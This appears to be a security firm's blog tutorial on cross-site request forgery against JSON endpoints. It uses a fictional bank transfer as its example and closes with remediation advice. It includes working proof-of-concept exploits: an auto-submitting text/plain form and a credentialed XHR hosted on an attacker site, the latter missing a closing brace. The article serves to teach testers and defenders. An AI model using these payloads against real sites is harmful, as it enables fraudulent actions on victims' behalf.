CSRF

CSRF in the Age of JSON

The Complexities Created by Using JavaScript Object Notation to Transfer Data

Among the web application vulnerability tests that we perform at DirectDefense is an application security assessment for CSRF.

CSRF, or Cross-Site Request Forgery, is an attack that takes advantage of the predictability of requests and browsers’ automatic submission of session cookies to perform unintended actions on a victim’s behalf. These actions could range from an inconvenience, like changing a user’s language settings for an application, to causing real damage, like transferring money out of a bank account or forcing an administrator to create a user account for the attacker.

CSRF against a standard webform without proper protections can be pretty easy to execute, but applications are more commonly using JavaScript Object Notation (JSON) to transfer data, which comes with some added complexities. The application/json MIME type is typically sent using AJAX, which is prevented from being sent in cross-site requests by the Same-Origin Policy (SOP). Thus, to perform CSRF against a JSON endpoint, we need to either use a different MIME type, exploit a weak CORS policy, or find another means of submitting the request.

Before we even discuss performing a CSRF attack, however, we need to make a few assumptions about the application:

  1. The application has an authorization model that restricts state-changing functionality to certain users.
  2. The application uses cookies to verify users’ authorization to these functions. With current browser protections, these cookies most likely will need to be created with the SameSite=None attribute, though older browser versions or nonstandard application practicies (e.g. state-changing operations with the GET method) can circumvent that requirement.
  3. The specific functions use predictable request schemas: one user’s request will largely be similar to a second user’s request.

As an example of this last point, let us suppose that we have a banking application that allows users to send money from their account to any other. A request may look like the following:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: application/json
Content-Length: 87
Cookie: sessionid=3564120978
{
   "fromAccount": 1,
   "toAccount": "021000021 9876543210",
   "amount": 1000,
   "currency": "USD"
}

The above request would send money from the user’s primary Bank of DirectDefense account to the specified bank account in the amount of 1000 USD. Regardless of which user was logged in, it would always transfer from that user’s first bank account to the identified account, and that predictability makes this function a prime target for CSRF.

Now that we have a bit of an understanding of CSRF, an overview of the challenges that we face with JSON endpoints, and an example to work from, let’s look at how to perform an exploit.

Manipulating the Content Type

Whenever we encounter potentially CSRF-able JSON requests, the first thing we check is how the application handles changes to the request’s MIME type. If the application is operating securely, it will respond with an error warning that the MIME type is invalid. However, with a bit of luck, the application will accept requests with a text/plain MIME type.

In this case, we can construct a form to submit a request to the endpoint, though we first need to figure out how to insert an equal sign in the request body. Because JSON doesn’t generally care about the number of key/value pairs, we can attempt to add an extra pair to the end:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: text/plain
Content-Length: 101
Cookie: sessionid=3564120978
{
   "fromAccount": 1,
   "toAccount": "021000021 9876543210",
   "amount": 1000,
   "currency": "USD",
   "foo=": "bar"
}

Assuming the application accepts that request, we can then create a script to auto-send the above whenever a user visits a page containing the script. Everything before the equal sign will be the input name, and everything after will be the input value; when submitted, the two will be concatenated with an equal sign to create the JSON structure.

<html>
  <body>
    <form action="https://members.bankofdirectdefense.com/accounts/transfer" method="POST" enctype="text/plain">
      <input type="hidden" name="{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\",\"foo" value="\":\"bar\"}" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

If text/plain does not work, there are still other MIME types that might. Attempt application/x-www-form-urlencoded and multipart/form-data to see if the application will accept those; occasionally, the framework will convert those types to JSON on the backend, allowing for exploitation.

Taking Advantage of CORS Misconfiguration

If the endpoint validates that requests are sent with an application/json MIME type, then all hope is not quite lost. If the application has an overly permissive CORS policy, then we can still send XHR with the proper MIME type. In order to exploit CSRF in this situation, the application has to include two key CORS headers: a dynamically updated Access-Control-Allow-Origin (ACAO) header, and an Access-Control-Allow-Credentials (ACAC) header with the value true. The ACAO header determines what origins are allowed to send requests to the application. The ACAC header determines whether cookies are sent with the request.

Special Note: ACAO does allow a wildcard value of * to match all origins. However, per CORS specifications, a wildcard value paired with ACAC set to true will result in an error. For this reason, we need the application to dynamically set ACAO to the origin of the request.

To test whether an application has such a misconfiguration, we can send the following request with an arbitrarily chosen Origin header:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Origin: https://www.attackersite.com
Content-Type: application/json
Content-Length: 88
Cookie: sessionid=3564120978
{
   "fromAccount": 1,
   "toAccount": "021000021 9876543210",
   "amount": 1000,
   "currency": "USD"
}

With luck, we’ll get back a response similar to the following:

HTTP/1.1 200 OK
Date: Fri, 13 Mar 2020 11:11:11 GMT
Access-Control-Allow-Origin: https://www.attackersite.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
Content-Length: 33
{"confirmationNumber": "17AE80B"}

Armed with this knowledge, we can now attempt the following exploit proof of concept to send the payload using an application/json MIME type:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/members.bankofdirectdefense.com\/accounts\/transfer", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        xhr.send("{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\"}");
      submitRequest();
    </script>
  </body>
</html>

When an authenticated user visits the hosted script on https://www.attackersite.com, the XHR will be triggered, and the transfer will be submitted.

Alternate Means of Submitting the Request

Given that IT security is an ever-changing field, there are always new exploits being discovered. One of my personal favorite CSRF vectors leveraged weaknesses in Flash and an overly-permissive crossdomain.xml policy to perform CSRF on JSON endpoints. That being said, always be on the lookout for new ways to submit requests to applications, because one never knows when a new potential vector for exploit will be introduced again.

Conclusion and Recommendations

While CSRF is not as prevalent as it once was thanks to new browser security protections, it remains a significant weakness and should always be tested for when performing a web application security assessment. For those testers using Portswigger’s Burp Suite, there’s a useful Generate CSRF PoC tool under Engagement Tools in the right-click context menu for requests, though as with all tools, one should know how it works and why it creates the proofs of concept that it does.

When it comes to fixing CSRF with JSON, the best remediation continues to be an unpredictable nonce submitted with the request and verified by the application. Authorization cookies with the SameSite=Strict attribute are also a good method of prevention. While validating the content type and having a secure CORS policy will prevent the above exploits, as I mentioned above, one never knows when a new potential vector may allow an attacker to bypass those controls.

Further Reading

For additional information related to the topics presented in this article, I recommend the following links:


Prev
Next
Shares